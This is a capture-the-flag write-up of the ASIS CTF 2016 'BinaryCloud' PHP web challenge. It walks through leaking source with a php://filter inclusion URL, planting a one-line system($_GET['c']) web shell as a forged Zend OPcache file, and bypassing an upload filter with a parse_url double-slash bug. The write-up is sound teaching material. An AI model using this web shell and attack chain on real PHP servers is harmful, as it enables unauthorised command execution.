ASIS CTF 2016 - BinaryCloud - Web Challenge

Reading time ~3 minutes

Cool challenge this one based on an interesting article published recently. We’re given the following clue

binarycloud

The link takes us to a ordinary looking “File Upload Challenge” website but this one has a difference under the hood. A brief recon gives us the following links in robots.txt:

User-Agent: *
Disallow: /
Disallow: /debug.php
Disallow: /cache
Disallow: /uploads

Visiting debug.php we see the full phpinfo(); output. Very important for later:

binarycloud4

We notice a couple of things here, that we’re running php7 and that Zend OPCache is enabled. Keep those in mind too. Next we suspect the ?page= parameter and using this find that we can trivially leak the source code for the website using php filters. For example:

https://binarycloud.asis-ctf.ir/?page=php://filter/convert.base64-encode/resource=upload

We leak the pages:

  • index.php
  • home.php
  • debug.php
  • upload.php

We examine the source code for each and find an interesting code path in upload.php:

filter_directory();

if($_SERVER['QUERY_STRING'] && $_FILES['file']['name']){
    if(!file_exists($_SERVER['QUERY_STRING'])) error("error3");
    $name = preg_replace("/[^a-zA-Z0-9\.]/", "", basename($_FILES['file']['name']));
    if(ew($name, ".php")) error("error");
    $filename = $_SERVER['QUERY_STRING'] . "/" . $name;

The function ew() is short for endswith() and prevents us from uploading .php scripts directly. However we can control QUERY_STRING so we can decide where to place the file on the filesystem. Starting to make sense? No? Read on!

If you read up on this article you’ll see we’ve got all of the ingredients needed to upload a binary web shell here.

Before we continue though we need to double check the filter_directory() function:

function filter_directory(){
    $data = parse_url($_SERVER['REQUEST_URI']);
    $filter = ["cache", "binarycloud"];
    foreach($filter as $f){
        if(preg_match("/".$f."/i", $data['query'])){
            die("Attack Detected");
        }
    }   
}

Ok so we understand what we need to target and our approximate attack path now. In order to carry out this attack we do the following.

First, stand up our own PHP7 webserver with OPCache enabled. I spun up an Amazon Linux EC2 instance for this and followed a web how-to. It worked sufficiently well.

Next, we need to set our server environment up similarly to the target host. We know the opcache paths because we can read them in the phpinfo(); output.

opcache

So I create these paths as well and place my backdoor PHP file which I called home.php in /home/binarycloud/www. The contents of my backdoor is simply:

< ?php system($_GET['c']); ? >

Then I set the webserver DocumentRoot to /home/binarycloud/www. When all this is done I simply poke my own server with curl -v localhost/home.php and it generates me a binary cache version of our backdoor home.php called home.php.bin.

Next we need to extract the CTF server’s system ID. We do this using the tool developed by the GoSecure guys. You can check out the repo here: https://github.com/GoSecure/php7-opcache-override.

root@kali:~/asis/web/binarycloud/php7-opcache-override# python system_id_scraper.py http://binarycloud.asis-ctf.ir/debug.php
PHP version : 7.0.4-7ubuntu2
Zend Extension ID : API320151012,NTS
Zend Bin ID : BIN_SIZEOF_CHAR48888
Assuming x86_64 architecture
------------
System ID : 81d80d78c6ef96b89afaadc7ffc5d7ea

Once we have that we can use a hex editor to modify the system ID in our home.php.bin file.

hexed

Ok so now we are finally ready to turn our sights on delivering the payload! We know from the article that we need to place our home.php.bin file directly into the cache path. So I use the web form to upload our .bin file. It will successfully bypass the .php file filter because thankfully it endswith() .bin now! I set the upload path to the absolute path value: /home/binarycloud/www/cache/81d80d78c6ef96b89afaadc7ffc5d7ea/home/binarycloud/www/ using BurpSuite.

Now - how to bypass the filter_directory(); function? Well there’s a tricky part here we learned during this CTF. There’s a bug in the way PHP will parse relative URLs that begin with multiple slashes (e.g. //). If a relative URI is sent and the path begins with // then any query string will incorrectly wind up in the path instead. Here’s an demonstration of how it works:

<?php
// single slash case
$uri = "/upload?/home/binarycloud/";
$data = parse_url($uri);
print_r($data);

// doubleslash case
$uri = "//upload?/home/binarycloud/";
$data = parse_url($uri);
print_r($data);
?>

And the output:

[root@ip-172-31-11-31 www]# php -v
PHP 7.0.6 (cli) (built: May  1 2016 12:13:47) ( NTS )
Copyright (c) 1997-2016 The PHP Group
Zend Engine v3.0.0, Copyright (c) 1998-2016 Zend Technologies
    with Zend OPcache v7.0.6-dev, Copyright (c) 1999-2016, by Zend Technologies
[root@ip-172-31-11-31 www]# php parse_url.php 
Array
(
    [path] => /upload
    [query] => /home/binarycloud/
)
Array
(
    [host] => upload?
    [path] => /home/binarycloud/
)

So our final payload in BurpSuite looks like this:

payload

To which we are greeted with a success message (yay!) and finally, successful command execution.

uploadsuccess

id

And finally, after sleuthing a little bit to find the old flag:

flag

Interviewing in Tech: Security Engineer & Security Analyst

Landing a job as a security engineer or analyst at a tech company is a significant feat. It requires not only technical acumen but also s...… Continue reading

BSides Sydney 2023 Writeups

Published on November 24, 2023

DUCTF 2023 Writeups

Published on August 31, 2023